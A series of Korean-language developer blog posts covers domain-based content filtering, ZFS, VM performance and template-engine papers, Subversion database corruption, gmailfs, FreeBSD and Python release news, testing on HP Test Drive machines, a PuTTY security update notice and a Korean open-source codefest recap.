• 나라마다 미성년자에게 허용하는 범위가 다르다. 미국같은 경우에는 성인물에 대해서 아주 보수적인 편이지만 러시아나 북유럽같은 경우에는 아주 관대하다.

• 성인물 뿐만 아니라 수백가지의 아동 격리 대상 컨텐트가 있다. 현재 국제적으로 분류된 PICS 만 보더라도 300개 정도는 충분히 나올 수 있고 그 300개의 대상에 대해서 일일이 TLD를 만들거나 2진법에 대해서 분류하다가는 도저히 칠 수 없을 정도 길이의 도메인이 나올 것이다.

• 현재 사용하고 있는 상당수의 프로토콜은 도메인에 따른 컨트롤이 불가능하다. 대표적으로 HTTP같은 경우도 IP로 링크하는 경우가 있을 수 있으며, IRC는 사실상 도메인 기반의 접근 제어가 불가능하다. 또한 메일의 경우에는 각각의 라우팅을 모두 고려하면 사실상 TLD에 따른 제어는 무용지물이다.

• IPv4의 경우 존에 따른 연령별 분리가 사실상 전혀 불가능하다.

• IPv6의 경우 128bit 존으로 기술적으로 .sex 하나에 대해서만은 가능하지만, 컨텐트 제어에 사용될 300여가지의 분류(폭력성, 변태성, 정신이상성, 반사회, 마약, 정치적 사상, 범죄 합리화, 무법행위 등등) 를 다 도입할 경우에 128비트로도 도저히 수용을 못 할 것이다.

흐흐흐. 저도 그냥 .sex 있으면 구분하기 편하겠다 하고 생각하고 있었는데, 이런 문제를 꼬치꼬치 보고 나니 정신이 아찔하군용~ 그런데, 딱히 대안이 없는 것이 약간 서운하긴 하지만.. 며칠동안 출퇴근길에 고민을 해 봐도 정말로 대안이 적당한게 없군요.. 제 생각에는 미국같은 보수적인 동네에서 가장 많이 신경 쓰는 성적인 것들에 대해서는 점차 성인물의 기준을 낮춰서 그냥 적당히 사춘기만 넘기면 다 볼 수 있게 해버리면 어떨까 합니다. -ㅇ-;; (그 전에는 관심이 없을테니..)

오늘 소스포지에서 메일이 하나 왔는데 마치 개인메일처럼 와서 자세히 읽어 봤습니다. 내용을 보니 소스포지 관리자가 C 카테고리에 들어있는 프로젝트 어드민 전부에게 1:1로 보낸 내용이군요 --;;

내용은 IBM이 총 170개의 iPod mini를 소스포지 개발자들에게 준다는 내용입니다. (행사 URL) 단, 아무나 주는 것은 아니고 다음 조건을 만족해야 하는군요. 흐흐

• 결정을 하는 12월 초에 LinuxPPC 플랫폼을 지원하는 프로젝트일 것.

• 현재 이미 LinuxPPC에 포팅된 프로젝트면 불가능.

• 자바 또는 스크립트(php,python,perl,ruby...) 기반이면 안 됨.

• 서버 기반 프로그램일 것. (인스턴트 메신저 같은 데스크탑 기반이면 안 됨)

• 소스포지 약관에 동의할 것

• 9월 24일 자정(미국 동부시간)까지 신청한 프로젝트에 한해 12월 초에 결정을 하게 됨.

저는 이 조건들을 만족하는 프로젝트가 소스포지에 1개 (openseed) 밖에 없어서 아직 고민 중입니다. --; openseed는 버린지 3년 넘은 프로젝트인데 -ㅇ- 으흐흐 조건을 만족하는 분들은 한 번씩 해보세요 +_+

Sun Microsystems에서는 최근에 솔라리스 10에 탑재될 새로운 파일 시스템인 ZFS에 대한 대폭적인 정보를 메일링리스트와 웹 페이지를 통해서 제공하기 시작했습니다. ZFS의 Z는 zsh의 z처럼 마지막이라는 뜻이라는군요. 지금까지 아주 다양한 파일시스템들이 왔다갔다 했던 다른 운영체제들과는 달리 계속 FFS/UFS계열의 파일시스템을 사용해 왔었는데, 이번에 ZFS로 옮겨감으로써 한꺼번에 다른 파일시스템들의 기능/성능/확장성 모두를 뛰어넘으려고 하는 모양입니다.

우선 가장 독특한 특징은 엔디안 중립적인 구조를 많은 부분에서 채용해서, 스팍에서 쓰던 디스크를 바로 x86에서 쓸 수 있다고는 하는데, 엔디안 마크를 일일이 쓰는 것인지, 한 엔디안으로 통일한 것인지는 잘 모르겠군요. 그리고, 현재 대부분의 파일시스템들이 32비트 또는 64비트 기반인 반면에, ZFS에서는 128비트 주소를 사용하기 때문에, 논리적으로 현재의 시스템들보다 160억배 크기까지 확장될 수 있다고 합니다. 128비트 기반을 하는 것에 대해서 freebsd-hackers 메일링리스트에서 논평이 몇 있었는데 재미있는 평으로 "Populating 128-bit file systems would exceed the quantum limits of earth-based storage. You couldn't fill a 128-bit storage pool without boiling the oceans." (128비트 파일 시스템은 지구 기반의 스토리지의 퀀텀 한계를 초과할 것이다. 바다를 다 끓이기 전까지는 128비트 스토리지를 다 채우지 못할 것이다) 라고 엄살을 떠는 사람도 있는데, 사실은 지금까지 생산된 어떤 트랜지스터 속의 원자수도 2128개를 넘고, 웬만한 박테리아도 그정도 원자 수는 넘는다고 다른 사람이 꼬집어 줬습니다. 흐흐흐. (아니 그럼 원자 단위로 저장을 하자는 말이냐! =3) 그런데 128비트 스토리지를 찾아댕기려면 어떻게 해야하느냐, 배드섹터 체크하다가 10년 가는 것 아닌가 뭐 이런 잡다한 얘기가 나오긴 했는데, 대체로 언젠가는 128비트가 쓸모가 있을 날도 올 지도 모른다... 난 결론으로 간 듯 합니다. 흐흐;

ZFS의 또 다른 멋진 기능으로 RAID를 무색케하는 스토리지 풀 기반의 볼륨 관리 시스템(GEOM이 아예 파일 시스템 레이어로 내려간 듯한 느낌이..)과 fsck, newfs 등의 파일 시스템 관리가 전혀 필요 없이 스스로 관리한다는 점. (구체적으로 어떤지는..) 데이터 무결성을 위해 완전히 데이터가 커밋(sync)되기 전까지는 절대로 이전의 정보를 덮어 쓰지 않는 것이나, 심지어 파일시스템 주제에 롤백까지 지원한다는군요. 아무래도 저널링 파일 시스템들과 유사한 혜택들을 저널링없이도 충분히 괜찮게 구현을 하려는 것이 목적인 듯 합니다. 그동안 유독 엄청나게 느린 파일시스템으로 사용자들을 괴롭혀 온 Solaris가 10에 이르러 이제 극락으로 변신할 수 있을지 릴리스가 기대가 됩니다.

요새 IRC의 jiwon님이 VM 관련 수업을 들으시면서 이것 저것 많이 알려주셔서 VM 관련 논문을 여럿 읽고 있습니다. 어제는 퇴근길(일요일!)에 뭐 볼 만한 것 없을까 찾다가 Are CLI-based Virtual Machines Suitable for High Performance Computing？이라는 논문을 읽었습니다.

이 논문은 주로 대규모 수치연산이나 데이터 처리에 사용되는 환경으로 직접 C나 Fortran처럼 네이티브 코드를 생산하는 컴파일러를 사용하지 않고, Java나 CLI같은 가상 기계 환경을 사용하는 경우도 쓸만한가에 대해 논하고 있습니다. 사실 그런데, 이 얘기를 듣기 전까지는 그 비싼 기계를 네이티브 코드로 안 돌리고 VM 코드로 돌릴 사람이 있을까 생각하긴 했는데, 진지하게 Java로 돌리고 그러는 커뮤니티도 있고 그렇군요 -ㅇ-;

처음 몇 섹션에서는 CLI와 CLI구현들에 대한 소개를 하고 있는데 상당히 일반적인 소개라서, HPC에 관심이 없는 사람이라도 읽어볼 만합니다. 그 다음에는 본격적으로 Java, CLR, SSCLI, Mono 넷을 벤치마크 하고 있습니다. 주요 수치 연산들과 알고리즘, SciMark등을 선보이고 있는데, 이 논문이 쓰여질 당시 (작년)에는 아직 mono가 최적화가 완전히 진행되지 않아서인지, 정수 연산, 기본 수학 연산에서 Sun JVM과 CLR에 한참 뒤져 있고, CLR이 대체로 Sun JVM을 약간씩 앞서는 퍼포먼스를 내고 있군요. SSCLI은 예상외로 선전을(..;)해서 mono하고 비슷하군요. 흐흐 사실 SSCLI는 그렇게 느려서 쓸 사람이 있을까 생각을 했는데..; 성능을 테스트할 수 있는 여러가지 수학적 알고리즘을 수행하는 SciMark에서는 IBM JVM이 제일 앞서고 근소한 차이로 MS CLR이 간혹 몇군데에서는 앞서기도 하고 있습니다. Sun JVM은 많이 차이나는 것도 있고 비슷한 것도 있고 그러고 있고, mono는 마냥 느리군요. -ㅇ-; 그런데, 상당히 놀라운 것은, SciMark의 FFT 시험같은 경우에는 IBM JVM, MS CLR은 C로 구현된 것보다 더 빠르기도 하고, 상당수의 알고리즘들이 70%정도는 유지하고 있다는 것입니다. VM이라고 엄청나게 느린 것은 아니군요..

글쓴이의 평가에서 Mono가 MS CLR에 비해 이렇게 느린 결과가 나온 것은 IL 코드와 생성된 x86 어셈블리 코드를 비교해 보면 Mono는 거의 1:1로 변환되어 최적화된 흔적이 아주 적은 반면에 MS CLR 코드는 상당히 많이 최적화되어 있어서 IL코드와 x86 어셈블리 코드가 1:1로 매칭이 잘 안 되는 정도라고 합니다. 그래서, 결론적으로는 과학 계산에 결정적인 영향을 미치는 것은 C# -> IL 사이의 최적화라기 보다는 IL -> native 사이의 최적화가 결정적인 영향을 미친다는 얘기인 듯 합니다. native 코드로 JIT 번역은 사실 parrot이나 DotGNU의 libjit, GNU lightning같은 경우만 보더라도 그냥 바이트 코드 읽어서 1:1 emit 하는 경우가 대부분이라, 사실상 최적화를 안 하고 있는 것이나 마찬가지인데 앞으로 JIT 디자인에서 좀 더 도전해 볼만한 요소인 듯 합니다.

며칠 전 블로그에서 김창준님의 추천으로 Enforcing Strict Model-View Separation in Template Engines이라는 논문을 봤습니다. 이거 웹 프로그래밍으로 논문까지 쓰고.. 역시 연구하는 사람은 어디든 있군요~

그동안 써본 템플릿 엔진 albatross, DTML, HTML::Template::Sigma, Quixote PTL 이 다섯은 처음 쓸 때는 아주 신세계가 열린 듯한 기분이 들었다가도 쓰다보면 금방 답답함을 느꼈습니다. 그 이유를 대충 정리해 보자면,

• albatross: HTML 태그 형태로 명령을 지원하는데 태그와 본문 간의 간격을 줄이기 위해서 어트리뷰트를 더 쓴다던지 하는 아주 지저분한 트윅이 필요하고, 특히 루프 돌릴 때 루프 변수를 조작하기가 매우 까다로워서 템플릿에 코딩까지 해야할 정도.

• DTML: 알바트로스보다는 훨씬 깔끔한 루프 변수를 지원하고, 여러모로 디자인이 잘 된 HTML 태그 모양의 템플릿이긴 하지만, 템플릿 쪽에서 제어 코드를 넣어야지만 처리가 가능한 경우가 너무 많다.

• HTML::Template::Sigma: 아주 단순한 블럭, 인클루드를 만을 지원하는 언어라, 진짜로 템플릿에는 데이터만 들어갈 수 있도록 만들어 주기는 했지만, 너무 단순해서 에러 보고가 제대로 안 되는 바람에 에러가 나면 제대로 잡기가 거의 불가능. -O- 일일이 하나하나 다 바꿔가며 디버깅을.. ㅠ.ㅠ

• Quixote PTL: 템플릿 언어계의 반항아! 다른 템플릿 언어들과는 완전히 다른 위젯 개념으로 코드가 템플릿을 감싸 안는 방식을 채택했다. 굉장히 혁신적이고 신선하긴 하지만, 아무래도 템플릿에 코드가 덕지덕지 붙은 이상은 디자이너들한테 쓰라고 하는 것은 불가능한터라, 개발자가 만들어서 개발자들만 보는 관리 프로그램등에나 쓸 수 있을 듯.

흐흐~ 그래 웹 프로그래밍은 다 이런거야 하고 좌절을 하고 있었는데, 이 논문을 보고 원래 다 그런 건 아니구나 하고 실낱같은 희망을 얻게 되었습니다. 이 논문에서는 템플릿에서 완전히 로직을 제거하는 게 단지 이상향으로만 존재하는 게 아니라는 것을 여러가지 증명으로 보여주고 있는데, 실제로 템플릿에 마구 로직이 섞여서 결국은 디자이너들이 감히 템플릿에 손을 못 대도록 만드는 문제의 원인이 템플릿 언어들이 파워를 잃어버릴까봐 템플릿 언어 안에 코드를 섞어 쓰는 것을 허용하는 것 때문이라고 합니다. 실제로 대부분의 템플릿 언어에서는 테일러 급수로 sin(x)를 전개하는 것이 가능하다는군요. (-ㅇ-;) 그래서 머피의 법칙 “if it can be done wrong, it will be done wrong,”에 의해 결국은 마감에 쫓기는 코더들은 임시 방편으로 코드를 마구 복사해서 여기저기 템플릿에 붙여서, 다음 개발자가 로직을 고칠때 여기저기 흩어져 있는 것을 일부 고치다가 뻑나서 다같이 망하거나, 디자이너가 디자인 고치다가 로직이 같이 뻑나거나 이런 상황이 올 수 있다고 합니다. 흐흐흐;

그래서, 저자는 템플릿 언어 차원에서의 로직과 템플릿의 강제적인 분리를 이렇게 강조하고 있습니다.

• 캡슐화: 사이트 모양은 완전히 템플릿에 있고, 로직은 모두 데이터 모델 (코드)에 모두 있다. 각각은 완전한 별도의 개체다.

• 명료성: 템플릿은 HTML을 뽑아 내는 프로그램이 아니다. 템플릿은 디자이너와 코더가 바로 읽을 수 있는 HTML 파일일 뿐이다.

• 작업의 분리: 그래픽 디자이너와 코더의 개발은 병렬적으로 일어날 수 있어야 한다. 이렇게 작업이 분리가 되면 코더들이 디자인을 고치기 위해 신경 쓸 필요가 없고, 디자이너와 코더의 커뮤니케이션을 위한 비용이 현저히 줄어든다. 디자이너들은 프로그래머와 얘기하지 않고도 디자인을 마음대로 고칠 수 있다.

• 컴포넌트 재사용: 프로그래머들이 보통 명료성과 재사용성을 높이기 위해 큰 메쏘드를 작은 여러개의 메쏘드로 분리하듯이, 디자이너들도 템플릿을 여러개의 서브 템플릿으로 분리할 수 있다. 즉, 로그인 상태, 네비게이션바, 검색창, 데이터 목록 등등.. 코드가 템플릿에 얽혀있는 경우에는 리팩터링을 통해 분리하기 매우 어렵고, 재활용하기도 어렵다.

• 고칠 곳은 한군데만 (single-point-of-change): 템플릿을 정리함으로써, 디자이너들은 링크 목록, 사용자 기록 뷰같은 여러 개념적인 원소들로 템플릿들을 분리할 수 있다. 이렇게 돼서, 나중에 사이트의 공통적인 한 부분을 고치는 경우 진짜로 한 파일의 한 군데에서만 고치면 되게 된다. 이렇게 하면, 하나를 고치기 위해 여러 부분을 고치다가 뻑나는 경우를 피할 수도 있기 때문에 이것은 아주 중요하다. "관리자인가" 같은 로직은 여러개의 템플릿에서 항상 반복되기 때문에 템플릿 안에 로직을 넣는 것은 절대 피해야 한다.

• 유지보수: 사이트의 모양을 바꾸는 것은 템플릿만 바꿔야지, 절대 프로그램을 바꾸는 작업이어서는 안 된다. 프로그램을 바꾸는 것은 템플릿을 바꾸는 것에 비해 훨씬 위험한 작업이고, 템플릿을 바꾸는 것은 새로운 삶을 시작할 필요도 없다. (즉, 사용되고 있는 서버 애플리케이션을 재컴파일하거나 새로 띄울 필요가 없다.)

• 바꿀 수 있는 뷰: 몽땅 뭉쳐서 쓰는 데이터 모델에서는 디자이너들은 "스킨"이나 "테마"같은 기능을 지원하기 위해서 디자인을 직접 입힐 수가 없다. jGuru.com 사이트에서는 "그룹"이라고 불리는 템플릿 모듬이 있다. "그룹"은 단순히 색깔이나 스타일 시트를 바꾸는 정도가 아니라, 사이트의 전체적인 모양을 바꿀 수 있다. 이렇게 모양이 달라져도 단순히 코드에서는 한 가지 방법으로 데이터를 전달해 주고, 어느 템플릿을 사용할 지 정해주기만 하면 된다.

• 보안: 블로그 사이트들에서는 이제 템플릿을 사용자가 직접 바꿀 수 있는 것이 흔한 것이 되었다. Microsoft Word에서 매크로 쓰는 것처럼 템플릿의 제한되지 않은 기능은 매우 심각한 보안 결함이다. 블로그 템플릿에서 클래스 로더를 띄워버리는 여러 보안 사건이 일어난 이후 squarespace.com은 Velocity와 StringTemplate를 사용하기 시작했다. 가장 쉽게 생각할 수 있는 공격은 무한 루프다. 모델을 뷰에서 완전히 독립하고, 페이지 제어를 금지함으로써 보안성을 얻을 수 있다.

그 외에도 그동안 생각 못했던 여러가지 이유들이 들어있습니다. 웹 프로그래밍에 염증을 느껴보신 분이라면 꼭 한번 읽어보세요. --;

sub·ver·sion [sbvn/-n] 
[명] 전복, 타도; 파괴; 파멸(의 원인); 전복시키는[파괴하는] 것.

아으아. 최근엔 빠른 속도와 파일 이동이 가능하다는 점 때문에 회사에서 subversion을 쓰고 있습니다. 그런데, 이놈이 소문대로 워낙에 잘 깨져서, 5명이 쓰는 중 거의 1명이 하루에 한번씩은 복구해야할 정도로 DB관리가 정말 허술합니다. 그래도, 뭐 recover를 해 주면 영영 데이터를 잃어버리는 것은 아니기에 그래도 고맙게 쓰고 있었는데, 어제는 그야말로 일이 터졌습니다. DB가 깨졌길래 복구하려고 했더니만, 복구 프로세스가 족족 모두 행 돼버리는 것이었습니다. 게다가 프로세스를 죽여도 좀비가 돼버리고 --; 이런.. 이거 프로젝트도 바쁜데 버전 관리 시스템까지 문제냐~ 참.. 우흐..

그래서, 우선은 침착하게 DB를 다른 디렉토리로 복사해서 복구를 해 보니까 행은 안 되고 그런대로 복구는 되는군요. 아무래도 한번 깨진 DB는 계속 깨질 것 같아서. 덤프한 뒤에 다시 로드했습니다. (리비전이 900가까이 돼서, 복구하는데만 20분 -ㅇ-) 흐흐.. 근데 자세히 살펴보니까 마지막 리비전 하나가 날아갔더군요.. 이런! 그동안은 그래도 깨졌다고 마크만 되고 실제로 날아가지는 않았는데 이제는 ㅠ.ㅠ subversion 앞으로 fsfs가 나온다고 하니 기대는 해 보지만.. 이제는 무서워서 더 못 쓰겠네요 흑흑~

요즘 python-dev 메일링에서도 subversion얘기가 굉장히 많습니다. 역시나 다들 엄청나게 깨지는 버클리DB얘기를 하고 있는데, perforce는 다 DB에 넣는데도 탄탄한데 왜 subversion은 이모양 이꼴이냐 뭐 이런쪽 얘기가 역시 주를 이루는 듯 합니다. 어서 subversion이 perforce 반이라도 따라가길 --;

libgmail 프로젝트에서 gmail을 위한 smtp, pop3, ftp 프락시를 만드는 것을 보고도 상당히 충격을 받았지만, 오늘 #perky의 Burnhard님께서 보여준 이 프로젝트를 보고서는 패닉에 빠져서 ~( _-_)~

gmailfs는 리눅스와 SunOS에서 유저랜드측 프로세스에서 파일 시스템을 제공할 수 있게 하는 FUSE를 기반으로 구현된 gmail 파일시스템입니다. 그리고 당연히 구현은 파이썬으로 되어있지요~ 흐흐; 이것 만든 사람은 이틀밖에 안 걸렸다니 참, 이거 libgmail의 위력이란~

저자가 올린 스크린샷을 보면 아이고 ;_; 흐흐 FUSE가 BSD를 지원 안 해서, 테스트 못 해보는게 참 한입니다. ㅠ.ㅠ 이제 FreeBSD책도 나오고 했으니 파일시스템 부분을 공부해서 프비 portalfs 부활운동을..

작년 여름에도 그랬듯, 여름만 되면 FreeBSD와 Python 양쪽에서 활발한 릴리스 엔지니어링이 일어납니다. 아무래도 유럽사람들의 무진장 긴 (보통 1달) 휴가가 대체로 여름이라서 그런지도 모르겠군요~ 흐흐

하여간 이번에 FreeBSD는 5.3 베타에 이미 들어가서 곧 베타 2가 나올 예정이고, 빠르게 베타가 속속 나와서 결국 9월 3일에 포트 프리즈, 9월 17일에 RC 패키지 빌드, RELENG_5_3 브랜칭이 됩니다. 현재 남은 문제 중에서는 우선 어제 디폴트로 네트웍 드라이버에서 자이언트 락이 빠진 것과, 몇달 전에 들어왔던 preemptive mode를 켜는 경우에 아무데서나 막 행돼버리는 문제 같은 것이 아무래도 결정적이 될 듯하지만, 5.3이 전반적으로 수개월동안 꽤 안정적이었기 때문에, 별 문제 없이 10월에 5.3-RELEASE와 동시에 5.3-STABLE 브랜치가 나올 수 있을 듯 합니다. 포트에서는 xorg가 들어온 지 꽤 지나서, 처음 나왔던 문제들은 대체로 다 해결된 편이고, 5 브랜치가 워낙 오래된 브랜치라서 포트에서도 마찬가지로 큰 이슈는 없을 것 같습니다. 아쉽게도 Python 2.4 final이 적어도 10월은 되어야 나올 수 있을 예정이라, FreeBSD 5.3에 Python 2.4가 포함되지는 못할 것 같네요. (작년에 5.1에 2.3이 못 들어갔던 것과 같은 상황 Y.Y)

파이썬은 2.4의 세번째이자 마지막 알파 릴리스인 2.4a3이 9월 3일 릴리스 예정입니다. 2.4a3에서는 cjkcodecs와 관련되어서는 옛날 C 컴파일러들에서 돌아가는 문제가 수정되었고, 그 외에는 별 국제화 이슈에서 수정된 것은 없을 예정입니다. (u'한글'이 IDLE에서 되게 해야하는 문제가 있는데.. --; 이거 마비노기 때문에.. ;;) 그 외에는 데코레이터가 엄청난 반대에 부딪혔지만 아무래도 귀도는 그냥 밀어붙일 태세로 보이고, 전체적으로 버그 패치만 들어갔으며 부가적으로 지원된 특별한 기능은 없습니다. (FreeBSD 6 지원도 들어갔습니다. ) 2.4a3이후에는 베타 릴리스가 2개정도 나오고 RC 릴리스 1개 이후에 바로 파이널 릴리스가 나와서 최종적으로는 10월중에는 나오지 않을까 싶습니다. 그 다음엔 2.5, 2.6.. (다음엔 3.0? =3 -O-)

최근에 CJKCodecs 1.1과 Python 2.4a2가 릴리스된 후에 구형 C 컴파일러를 사용하는 분들께 버그 레포트를 빗발처럼 받았습니다. -o-; 이번에 완전히 새로 구현한 _codecs_iso2022.c 에서 구조체 끝에 크기가 지정되지 않은 어레이인 C99 문법을 쓰는 바람에 gcc3이나 VC++에서는 잘 됐지만, gcc2나 HP-UX, IRIX, Tru64 같은데서 에러가 났던 것입니다. 근데 gcc2에서는 어레이 크기를 0으로 써버리는 수법으로 우선 에러를 넘길 수 있긴한데 다른데서는 따로 할 방법이 없어서 우선은 풀어쓰는 방법으로 패치를 올리고 버그를 보고한 사람들에게 테스트를 해 달라고 했는데, 이게 계속 왔다갔다 해야하다보니 불편해서, 시간이 꽤 오래 걸렸군요 흐흐

그래서 뭔가 좋은 방법이 없을까 하다가 생각난게 PythonTesters 페이지에 있는 HP Test Drive에 대한 내용이었습니다. 아무나 계정을 주긴 한다는데.. 정말로 줄까~ SF 처럼 상상을 초월하도록 느리지는 않을까 하는 걱정이 있긴 했지만.. 그래도 한번 해 보자 하는 다짐을 하고~ TestDrive에 접속해 봤습니다. 아아 가입하는 페이지가 무척 간단한데, 가입을 작성하고 나면 바로 메일로 비밀번호와 접속할 수 있는 머신들의 IP주소가 날아옵니다. ssh가 아니라 telnet으로 열어주는데, 들어가는 포트와 나가는 포트가 ftp와 telnet을 제외하고는 완전히 막혀있기 때문에 웹에서 뭘 받는다거나 scp로 올린다거나 그런게 전혀 불가능합니다. 오로지 소스를 올릴 때는 ftp로 올려야하고 telnet으로 작업을 해야하는 뭐 적당히 답답한 환경이군요 흐흐 속도도 그럭저럭 빠르고! 제공되는 머신은 한 30개정도 되는데 FreeBSD 클러스터 처럼 NIS와 NFS로 묶여있어서 아무데나 올려도 같은 홈디렉토리처럼 쓸 수 있어서 아주 편합니다.

지원되는 OS들은 HP-UX, Tru64, OpenVMS, FreeBSD, NetBSD, Debian GNU/Linux, Mandrake Linux, RedHat ES/AS, SuSE Linux 등이 있고, 아키텍처도 OS마다 다양해서 Alpha, Opteron, IA64, IA32, EV5/6/7 등등 다양하군요. 그리고 기본으로 다 C 컴파일러가 HP에서 파는 것과 GCC가 깔려있어서 그런대로 테스트 환경으로 편한 편입니다~ 그리고, 오라클 테스트도 할 수 있게 돼 있는데.. 뭐 오라클은 할 줄 몰라서;; -ㅇ-

Compaq Tru64 UNIX V5.1B (Rev. 2650) (spe147.testdrive.hp.com) (pts/3) 

login: perky
Password:
Last login: Thu Aug 19 12:15:42 EDT 2004 from 61.75.76.229
Compaq Tru64 UNIX V5.1B (Rev. 2650); Mon Dec  1 14:41:44 EST 2003
Welcome to the Compaq Testdrive Program
---------------------------------------
spe147.testdrive.hp.com> uname -a
OSF1 spe147.testdrive.hp.com V5.1 2650 alpha
spe147.testdrive.hp.com> cc -V
Compaq C V6.5-207 (dtk) on Compaq Tru64 UNIX V5.1B (Rev. 2650)
Compiler Driver V6.5-207 (dtk) (dtk) cc Driver
spe147.testdrive.hp.com>

흐흐. Tru64 C Compiler는 특히 에러 내용이 무척 친절해서 포터빌러티 테스트를 할 때 정말 좋은 것 같네용.. 멀티 플랫폼 개발하는 분들께는 꼭 추천입니다.

멀티 플랫폼 SSH 클라이언트인 PuTTY에서 심각한 보안 버그가 발견되어, 0.55가 릴리스되었습니다. 우리나라에도 물론 많은 사용자들이 이미 PuTTY를 (주로 윈도우에서) 사용하고 있었기 때문에 영향을 미칠지도 모르겠네요. 흐흐. 이번 버그의 주요 내용은 호스트 키 교환이 일어나기 전에 서버측의 고의적인 시도가 있는 경우 PuTTY 클라이언트가 띄워져 있는 컴퓨터에서 임의의 해로운 코드를 실행해서 클라이언트 측을 공격할 수 있다고 합니다.

아무래도 믿을 수 있는 서버들만 접속하는 상황에서는 뭐 그다지 중요하지는 않겠지마는.. 으흐흐 혹시나 아무데나 접속할 일이 있는 분이 있다면 고치시는 게 좋겠네요. 'ㅇ'; 한글푸티는 제가 요즘 파이썬 2.4a2 작업하느라 좀 바뻐서 금방은 패치를 못 내놓을 것 같고 주말에는 돼야 겠네요~ 으흐흐; 우선 급하시면 오리지날 판을 쓰세요~ ;;

은진체 예뻐요.. (korean/aleefonts-ttf)

저는 글꼴 만들 줄도 모르고, 염장 글꼴 만들 여자친구도 없으니 대략.. 우에엥 ㅠ.ㅠ

좀 늦었지만 2부입니다. ^^^;;

토요일 밤

토요일 밤(바로 그 Saturday Night!)에는 테마 코딩도 끝나고 해서 이제 조금씩 흥분을 가라 앉히고 다시 다들 작업에 몰두하기 시작했습니다. 파이썬 팀에서는 사실 낮에는 좀 놀고 -O- 이제 본격적으로 트래커를 보면서 잡을 버그들을 선정하기 시작했는데, 역시 freenode의 버그 데이에서 버그를 너무 많이 잡아놓는 바람에 쉬운 버그가 별로 안 남아 있어서 엉뚱한 버그를 제법 많이 맡았습니다. nohmad님의 경우에는 HTTP digest 인증이 제대로 안 되는 버그, exman님은 관리자 권한으로 설치할 때 umask의 적용을 받아서 권한 설정이 제대로 안 되는 버그, jiwon님은 coding:에 .을 끝에 찍으면 에러나는 버그 등등.. 뭐 이런 것이었습니다~ 좀 버그를 잡다 보니 어느새 밤이되고, 역시 유혹에 약한 rath님은 구경오자마자 코딩 열기에 이끌려 jmsn-swt 버전을 "자동 완성"하는 속도로 "삼바 코딩"의 리듬으로 하기 시작했습니다.

일요일 새벽

자정이 넘으면서 이제 본격적인 간식시간! 이번 행사의 "최대 회비 소비처"인 교촌치킨 아이고 이렇게 맛있을 수가.. 우리집 통닭보다 훨씬 낫네 --;;; 파이썬팀은 닭을 펼쳐놓은 테이블이 좁아서 따로 나와서 앉았는데, 가운데 테이블에서는 DRI를 둘러싼 양파님과 방준영님의 혈전이 있었다고 합니다. (흐흐~) 그 뒤에 있었던 bzflag대회는 제 아이북은 bzflag를 돌릴 만큼 사양이 되지 않아서 참가를 못했지만.. 뭐 참가했더라도 별로 --; 워낙 1인칭 게임에는 약하다보니.. 에효. 저희 테이블에서는 토끼군과 falsetru님이 나가셨는데, 토끼군이 3등, falsetru님이 4등의 우수한 성적을~ (이지만 상품에서는 아쉽게도;;) 옆에서 보니까 무지 재미있는 게임이더군요.

자러 가서

다들 여전히 사기 충천하여 이제 네트웍 안 되는 자러 방에 가야한다고 하니 엄청 서운한 분위기~ 아아 역시~ 굉장한 사람들이야~ 방에 가도 여전히 다들 작업을. -o-; 저희 팀은 모두 9명이었는데 방이 8명쯤 잘만한 방 1개와 옆에 3명쯤 잘만한 방이 1개 붙어 있어서 아주 넉넉하게 잘 수 있었습니다. 좌식 의자도 앉아보고.. exman님의 PDA에 포팅한 플래시 플레이어로 졸라맨도 오랜만에 보다가.. ^^;; 그런데 화장실에 미리 알려졌던 것과는 달리 수건이 있었습니다. 오우. 수건도 없는 호텔이라고 많이 놀렸는데 이것 참;; 그리고 역시나 또 "이공계가 짱"이라는 엽기 만화책 열풍이..

아침

사실 태스크 포스팀이 예상하기로는 아침에 많이 밥을 먹어야 20명.. 아마 10명쯤 될지도 모른다 하는 예상을 했는데 역시 MT분위기가 나서인지 다들 엄청 부지런하게 일어나셔서 식당에 내려가 보니 거의 30명쯤은 돼 보이더군요. 아 역시 MT~ 밥 먹고 이제 방 정리를 좀 하다가 어제 열심히 그린 뱀, 조로 칠판과 함께 파이썬팀 단체 사진을 하나 찍었습니다. 수줍은 브이~ -.-vv

다시 행사장으로

행사장으로 다시 내려가 보니, 허헛 여전히 또 많은 분들이 열기에 불타오르며 작업을 하고 계셨는데, 사실 일요일 오전은 약간씩 일정이 밀려서 작업하기에는 좀 모자른 시간이 아니었을까 합니다. 파이썬팀도 어제 덜 잡은 버그를 마저 잡고, CJKCodecs 1.1을 메인 파이썬에 밀어넣는 작업을 마무리 했습니다. 옆에 있던 pkgsrc팀에서는 여전히 ExmanIDE 얘기가 자주 나오고..

키 사이닝 파티

제대로 될 수 있을까 걱정이 가장 많았던 바로 그 키 사이닝 파티. 사실상 우리나라에서는 최초라고 생각됐는데, 그래도 무난히 잘 끝났습니다. 주민등록증 사진이 무척 잘 지워진다는 것도 알았고.. 가나님처럼 완전히 다른 사람 사진을 붙여다니는 분도 계시고.. 재미있었습니다. 키 사인 하는 것보다 역시 인사하고 이름 기억하는게 더 재미있고 주가 되었던 것 같네요. 다음에 키 사이닝 파티가 또 있으면 좀 더 인사말을 준비하고 가야겠습니다.

행사 끝~

이제 어느덧 시작한지 30시간 정도가 지나서, 끝날 무렵이 되었습니다. 너무 시간이 빨리 지나가서 무척 아쉬웠지만 그래도 우리나라 오픈소스계에서는 처음 있었던 형식의 행사였고, 성과도 있었고 다음에는 더 좋은 행사로 만들 수 있을 만한 아이디어, 고칠점도 많이 발견할 수 있었습니다. 버그데이의 경우에는 30시간이 뭔가 일을 찾아서 하기에는 굉장히 짧은 시간이어서 아무래도 다음부터는 버그의 분석까지는 미리 해 오고, 버그를 실제 잡는 일만 행사장에서 하거나 하는 식으로 되어야 할 것 같고, 밥먹는 시간과 이벤트가 너무 잦아서 열기를 너무 자주 식히는 문제도 꼭 다음엔 어떻게든 해결을 해야겠습니다. (컵라면을 먹는다던지 --;;)

끝나고 뒷얘기

행사가 다 끝나고 20일 (화)에는 잠실에서 태스크 포스팀 따로 모여서 저녁식사를 했습니다. 처음엔 피자헛 플러스 에 갔는데 가격이 어찌나 플러스던지.. 압박에 못 이겨서 결국은 일반 피자헛으로.. -o- 역시 이벤트가 너무 잦았다는 것과 시간이 좀 모자랐다는 것에 대해서 다 같이 공감했습니다. 그리고, 중요한 것은 cwryu님이 9월 15일(?)까지 여자친구를 만들기로 하셨다는.. (본인이 수긍한 것은 아니지만 =3=33)

(사진은 http://openlook.org/photo/codefest/ )

